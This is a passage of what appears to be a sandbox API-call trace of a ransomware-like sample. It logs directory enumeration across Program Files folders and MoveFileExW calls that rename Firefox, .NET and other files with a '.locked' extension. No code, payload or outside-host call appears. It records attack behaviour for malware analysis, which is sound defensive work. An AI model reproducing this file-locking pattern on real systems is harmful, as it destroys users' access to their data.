ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.359] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml.locked" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml.locked"), dwFlags=0x2) returned 1 [0126.371] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml.locked" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml.locked"), dwFlags=0x2) returned 1 [0126.374] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xee4e03c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee4e03c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.378] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xee506520, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee506520, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.458] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\blocklist.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml.locked" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\blocklist.xml.locked"), dwFlags=0x2) returned 1 [0126.463] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xee5c4c00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee5c4c00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.464] GetFileType (hFile=0xc8) returned 0x1 [0126.468] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xee5c4c00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee5c4c00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.469] GetFileType (hFile=0xc4) returned 0x1 [0126.470] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xee5ead60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee5ead60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.475] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png.locked" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png.locked"), dwFlags=0x2) returned 1 [0126.479] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xee5ead60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee5ead60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.483] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\amazondotcom.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml.locked" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\amazondotcom.xml.locked"), dwFlags=0x2) returned 1 [0126.488] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\bing.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml.locked" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\bing.xml.locked"), dwFlags=0x2) returned 1 [0126.493] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\ebay.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml.locked" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\ebay.xml.locked"), dwFlags=0x2) returned 1 [0126.499] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\google.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml.locked" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\google.xml.locked"), dwFlags=0x2) returned 1 [0126.504] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\twitter.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml.locked" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\twitter.xml.locked"), dwFlags=0x2) returned 1 [0126.509] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\wikipedia.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml.locked" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\wikipedia.xml.locked"), dwFlags=0x2) returned 1 [0126.518] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\yahoo.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml.locked" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\yahoo.xml.locked"), dwFlags=0x2) returned 1 [0126.520] GetFileType (hFile=0x120) returned 0x1 [0126.521] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xee65d180, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee65d180, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.522] GetFileType (hFile=0xc8) returned 0x1 [0126.523] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xee65d180, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee65d180, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.525] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\channel-prefs.js" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\pref\\channel-prefs.js"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\channel-prefs.js.locked" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\pref\\channel-prefs.js.locked"), dwFlags=0x2) returned 1 [0126.526] GetFileType (hFile=0x120) returned 0x1 [0126.527] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xee65d180, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee65d180, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.554] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\install.log" (normalized: "c:\\program files (x86)\\mozilla firefox\\install.log"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\install.log.locked" (normalized: "c:\\program files (x86)\\mozilla firefox\\install.log.locked"), dwFlags=0x2) returned 1 [0126.558] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xee6a9440, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee6a9440, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.562] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\uninstall.log"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log.locked" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\uninstall.log.locked"), dwFlags=0x2) returned 1 [0126.563] GetFileType (hFile=0x120) returned 0x1 [0126.564] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xee6cf5a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee6cf5a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.565] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Maintenance Service\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xee6cf5a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee6cf5a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.567] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee6cf5a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee6cf5a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.567] GetFileType (hFile=0x120) returned 0x1 [0126.568] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee6cf5a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee6cf5a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.569] GetFileType (hFile=0xc8) returned 0x1 [0126.570] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee6cf5a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee6cf5a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.572] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee6cf5a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee6cf5a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.573] GetFileType (hFile=0xc4) returned 0x1 [0126.574] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee6cf5a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee6cf5a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.574] GetFileType (hFile=0x108) returned 0x1 [0126.575] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee6cf5a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee6cf5a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.576] GetFileType (hFile=0x120) returned 0x1 [0126.577] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee6cf5a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee6cf5a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.578] GetFileType (hFile=0xc8) returned 0x1 [0126.579] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee6f5700, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee6f5700, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0126.582] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee6f5700, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee6f5700, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.582] GetFileType (hFile=0xd4) returned 0x1 [0126.583] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee6f5700, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee6f5700, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.593] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.locked" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml.locked"), dwFlags=0x2) returned 1 [0126.594] GetFileType (hFile=0xd4) returned 0x1 [0126.595] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee71b860, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee71b860, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.601] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.locked" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml.locked"), dwFlags=0x2) returned 1 [0126.605] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee71b860, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee71b860, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.606] GetFileType (hFile=0xd4) returned 0x1 [0126.607] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee71b860, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee71b860, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.608] GetFileType (hFile=0xd4) returned 0x1 [0126.609] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee7419c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7419c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.609] GetFileType (hFile=0x108) returned 0x1 [0126.610] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xee7419c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7419c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.613] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xee7419c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7419c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.614] GetFileType (hFile=0x120) returned 0x1 [0126.614] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Defender\\en-US\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee7419c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7419c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.617] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xee7419c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee7419c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.618] GetFileType (hFile=0x120) returned 0x1 [0126.619] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x42cf58 | out: 